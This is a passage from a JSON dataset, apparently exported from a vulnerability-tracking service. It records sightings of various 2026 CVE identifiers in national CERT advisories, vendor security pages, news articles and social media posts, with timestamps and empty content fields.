"seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "a8b3a720-e7ec-4a66-9ee7-579c2f92b095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20425", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "3ee808c6-683a-493b-991b-34b2ee922986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhg5ysbgsh22", "content": "", "creation_timestamp": "2026-03-19T14:00:27.051172Z"}, {"uuid": "f70b35ad-f176-49a6-a0e6-753717d433c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20701", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "8db314f8-b473-457f-9b52-abaae5a3d90f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116216263665567906", "content": "", "creation_timestamp": "2026-03-12T12:44:13.311674Z"}, {"uuid": "e85d698e-136d-4aaa-b0d4-a7e21df5a202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20423", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "278e6265-c2e0-4fc8-9cc3-48bccd46122a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "", "creation_timestamp": "2026-03-19T10:48:18.000000Z"}, {"uuid": "89e9848e-0e6b-470c-b572-8950bd5d0a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheden-in-cisco-secure-firewall-management-center", "content": "", "creation_timestamp": "2026-03-19T08:10:00.000000Z"}, {"uuid": "df972c35-c632-4e6a-9b76-4f9faeadbbc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20046", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116216263665567906", "content": "", "creation_timestamp": "2026-03-12T12:44:13.408416Z"}, {"uuid": "c8566ac3-bb17-48ba-93fc-cb260967bfe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20430", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-6", "content": "", "creation_timestamp": "2026-03-03T09:08:54.000000Z"}, {"uuid": "7d2be6b4-6e0f-4e71-8a76-aaed9918d13d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "", "creation_timestamp": "2026-03-19T10:48:18.000000Z"}, {"uuid": "f99e1f08-4430-406a-b4bb-5f091824ae25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheden-in-cisco-secure-firewall-management-center", "content": "", "creation_timestamp": "2026-03-19T08:10:00.000000Z"}, {"uuid": "1079dbba-9533-42a9-a8ce-55296270a840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mgugkmcc2k2g", "content": "", "creation_timestamp": "2026-03-12T12:45:40.145750Z"}, {"uuid": "743b46d5-0223-44e8-9f28-5de442beff57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6043782", "content": "", "creation_timestamp": "2026-03-18T19:43:24.052706Z"}, {"uuid": "7a05a492-7637-4039-8815-a31c42bab85d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mhtst643qy22", "content": "", "creation_timestamp": "2026-03-25T00:17:43.242249Z"}, {"uuid": "06ff1599-439d-458c-a347-a777fdbb1aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20046", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mgugkmcc2k2g", "content": "", "creation_timestamp": "2026-03-12T12:45:40.241447Z"}, {"uuid": "fd2b5424-5f5e-461e-b247-fb4fdb390fca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-19", "content": "", "creation_timestamp": "2026-03-04T17:11:59.000000Z"}, {"uuid": "fba8524f-3841-4f97-b3a0-c38c66cd93f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/nenyh.alive.bar.ap.brid.gy/post/3mhg6mlmppwm2", "content": "", "creation_timestamp": "2026-03-19T14:11:32.815493Z"}, {"uuid": "cbf60980-c260-4bd3-9437-068f40f29597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-19", "content": "", "creation_timestamp": "2026-03-04T17:11:59.000000Z"}, {"uuid": "2ba779f6-d71b-4815-8fac-33bc1244a6b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhg74fztyh22", "content": "", "creation_timestamp": "2026-03-19T14:20:22.051531Z"}, {"uuid": "32650705-9aea-4523-9f72-3bbb5bc419a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://go.theregister.com/feed/www.theregister.com/2026/03/18/amazon_cisco_firewall_0_day_ransomware/", "content": "", "creation_timestamp": "2026-03-18T16:40:31.000000Z"}, {"uuid": "2af1b7e1-4fb3-40da-aa06-089bc25bb761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhi3horvbb23", "content": "", "creation_timestamp": "2026-03-20T08:20:24.862463Z"}, {"uuid": "807d6db3-c2cc-4648-9788-388b36a1c62f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhtv4dl6os23", "content": "", "creation_timestamp": "2026-03-25T00:58:38.675001Z"}, {"uuid": "8af950c9-7044-48a5-835e-b006eff3dc4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mhi3horvbb23", "content": "", "creation_timestamp": "2026-03-20T08:20:24.943374Z"}, {"uuid": "f587906b-1fdc-4f32-8a10-8962b56bd04a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mhisd5aaqx2y", "content": "", "creation_timestamp": "2026-03-20T15:09:28.208972Z"}, {"uuid": "457c23bb-3040-4631-a622-48294cb4b77d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://bsky.app/profile/ibm-seimless.bsky.social/post/3mhissga3m62p", "content": "", "creation_timestamp": "2026-03-20T15:18:06.202363Z"}, {"uuid": "31481d72-5134-4728-bbf9-29dad44ec141", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.cisa.gov/news-events/alerts/2026/03/19/cisa-adds-one-known-exploited-vulnerability-catalog", "content": "", "creation_timestamp": "2026-03-19T12:00:00.000000Z"}, {"uuid": "08b47c52-1d82-43fd-a668-7aa15d9b4c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mhitg5nf3j2t", "content": "", "creation_timestamp": "2026-03-20T15:29:03.390909Z"}, {"uuid": "332f4ab2-66a7-4a45-836e-f28a562871da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://www.cert.se/2026/03/allvarlig-sarbarhet-i-microsoft-sharepoint.html", "content": "", "creation_timestamp": "2026-03-19T15:15:00.000000Z"}, {"uuid": "63614d66-c296-4541-8942-4641e53be365", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/shanahan.bsky.social/post/3mhgwvujx7h2o", "content": "", "creation_timestamp": "2026-03-19T21:26:12.194834Z"}, {"uuid": "72e4c4b9-a498-49b3-8491-e0790549f1b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20965", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mcovpn27vh2v", "content": "", "creation_timestamp": "2026-01-18T10:20:08.830853Z"}, {"uuid": "eaf6b714-4831-40f8-9c07-abab7bac21e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mcqlrxhzfa2a", "content": "", "creation_timestamp": "2026-01-19T02:27:49.119950Z"}, {"uuid": "35557ee0-c8a5-4d47-902c-f6265ffb2613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/g0rosato.bsky.social/post/3mcqvb6aus32m", "content": "", "creation_timestamp": "2026-01-19T05:17:23.503988Z"}, {"uuid": "b9f82e92-d7b0-44e2-a045-e78e65c741d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20929", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mcqwbgore627", "content": "", "creation_timestamp": "2026-01-19T05:35:25.622246Z"}, {"uuid": "70340683-6357-45f9-996a-7832a16e54b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://krebsonsecurity.com/2026/01/patch-tuesday-january-2026-edition/", "content": "", "creation_timestamp": "2026-01-13T23:47:38.000000Z"}, {"uuid": "75625734-6fea-4837-9c8f-ed4cf4e1b211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20952", "type": "seen", "source": "https://krebsonsecurity.com/2026/01/patch-tuesday-january-2026-edition/", "content": "", "creation_timestamp": "2026-01-13T23:47:38.000000Z"}, {"uuid": "e38f16db-7f3f-47ac-825c-bb827a1ac55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20953", "type": "seen", "source": "https://krebsonsecurity.com/2026/01/patch-tuesday-january-2026-edition/", "content": "", "creation_timestamp": "2026-01-13T23:47:38.000000Z"}, {"uuid": "3d684589-8649-4dd4-926c-8a0ed99e0ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2003", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "019c57a9-e4fe-4248-8985-f2ca70369d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20004", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "a157da4c-83df-4951-80e6-5057e6e819ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20693", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "ccd1b78c-e453-4bc9-b7cf-4f0bb5733347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20657", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "cec875a0-6761-4e1e-8c79-1bef380bc494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2004", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "4a8a75ca-08f7-4e0e-90d3-186c797d6ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20699", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "05a8a6e6-632c-404d-a8a8-e4c35079aabf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20697", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "4a840d5d-08c3-4349-a036-0bbc7c214cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20892", "type": "seen", "source": "https://jvn.jp/en/vu/JVNVU98103854/", "content": "", "creation_timestamp": "2026-03-11T05:00:00.000000Z"}, {"uuid": "527c9507-a938-41a3-b5fe-0caafc9ae828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116252239833073398", "content": "", "creation_timestamp": "2026-03-18T21:13:26.120588Z"}, {"uuid": "9e95dfcf-e327-44b5-8c18-563574ca213a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhgajzrbsk23", "content": "", "creation_timestamp": "2026-03-19T14:45:52.587026Z"}, {"uuid": "b0299ada-38a8-4425-95b8-2543ba81e2ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mhefqyxwuc2z", "content": "", "creation_timestamp": "2026-03-18T21:13:56.787823Z"}, {"uuid": "25411f07-607f-43ec-8f9a-3fcc6cb0b5ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20960", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcrrn3ocgd27", "content": "", "creation_timestamp": "2026-01-19T13:45:07.960546Z"}, {"uuid": "b0cc5004-9858-4470-a13f-6f174d969d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcsakxgm6s24", "content": "", "creation_timestamp": "2026-01-19T18:12:28.878248Z"}, {"uuid": "813af695-8959-437d-8861-2c68e22cd721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20965", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115923527963401174", "content": "", "creation_timestamp": "2026-01-19T19:57:42.068393Z"}, {"uuid": "b49c53ac-f5c9-4ea5-a725-b79d75b0ea05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20919", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcthegvptc24", "content": "", "creation_timestamp": "2026-01-20T05:46:43.570700Z"}, {"uuid": "703fdf1f-e52e-4722-ba62-8c663e930c44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mctonsxyux2e", "content": "", "creation_timestamp": "2026-01-20T07:57:10.145955Z"}, {"uuid": "05ab256b-8604-4ac4-a1a1-2443abe69488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "7494bf16-28e4-4385-9afe-9242d8372a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgulkmafw324", "content": "", "creation_timestamp": "2026-03-12T14:15:08.061857Z"}, {"uuid": "ef50921f-778a-461c-aeae-e66e0fe28ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-microsoft-patch-tuesday-january-2026-patches-113-vulnerabilities-8-critical-105", "content": "", "creation_timestamp": "2026-03-24T15:48:22.000000Z"}, {"uuid": "b0444ca0-c1a6-40f4-86d4-985e87032740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20668", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "10ae777d-8646-4614-9a92-3642eb576943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20046", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgulkmafw324", "content": "", "creation_timestamp": "2026-03-12T14:15:08.201446Z"}, {"uuid": "e2808b2f-12ce-4326-a9c4-3c3713ad9f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20952", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-microsoft-patch-tuesday-january-2026-patches-113-vulnerabilities-8-critical-105", "content": "", "creation_timestamp": "2026-03-24T15:48:22.000000Z"}, {"uuid": "bc658259-b881-4c35-9686-55ac6b495258", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20074", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgulkmafw324", "content": "", "creation_timestamp": "2026-03-12T14:15:08.291740Z"}, {"uuid": "71bf48a3-d7f1-4419-885a-aa5c1b8d4c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20876", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-microsoft-patch-tuesday-january-2026-patches-113-vulnerabilities-8-critical-105", "content": "", "creation_timestamp": "2026-03-24T15:48:22.000000Z"}, {"uuid": "ed99797c-b63f-43ee-b46b-31a4915a1b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20690", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "c3df507b-155f-455f-b491-97ef4da2d08d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20118", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mgulkmafw324", "content": "", "creation_timestamp": "2026-03-12T14:15:08.384897Z"}, {"uuid": "5d59fbb1-4c68-41ae-a6f3-a99bf38937f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20116", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-xss-MrNAH5Jh", "content": "", "creation_timestamp": "2026-03-12T03:00:07.000000Z"}, {"uuid": "bf44bdda-bcd7-4240-9099-6024327e1102", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mhgb4ilmqc23", "content": "", "creation_timestamp": "2026-03-19T14:56:12.604337Z"}, {"uuid": "629daf77-b103-4be6-bac2-b3ce23cc5937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116256421083323787", "content": "", "creation_timestamp": "2026-03-19T14:56:47.193943Z"}, {"uuid": "0b3575b8-d7c6-4a7b-96db-ff0fbbbf55f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20637", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "9c81eddf-4663-4a34-ba7d-edced1fa73b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/chrismessina.me/post/3mhiydg3jk22p", "content": "", "creation_timestamp": "2026-03-20T16:57:06.357258Z"}, {"uuid": "69f8ebf8-e5c0-4c04-bdd2-bc520b2e39af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://bsky.app/profile/Android.activitypub.awakari.com.ap.brid.gy/post/3mgulld3kmex2", "content": "", "creation_timestamp": "2026-03-12T14:15:45.110450Z"}, {"uuid": "9329a267-b8b3-4ad9-88d9-672e971f1d2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mhhtvcdlj726", "content": "", "creation_timestamp": "2026-03-20T06:04:52.259440Z"}, {"uuid": "575ab122-ab81-4251-b02f-bc9b6df2af23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/chrismessina.me/post/3mhiydgsnrk2p", "content": "", "creation_timestamp": "2026-03-20T16:57:06.839758Z"}, {"uuid": "95bceb5f-b77e-4196-b72b-dd46a77a1615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20633", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "dca0a5bf-572b-4842-b965-54deaa671b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mhgbmier5u2m", "content": "", "creation_timestamp": "2026-03-19T15:05:08.821818Z"}, {"uuid": "6cefdf3d-394e-4ae1-bacf-7bf2eeac0964", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/chrismessina.me/post/3mhiydi2fb22p", "content": "", "creation_timestamp": 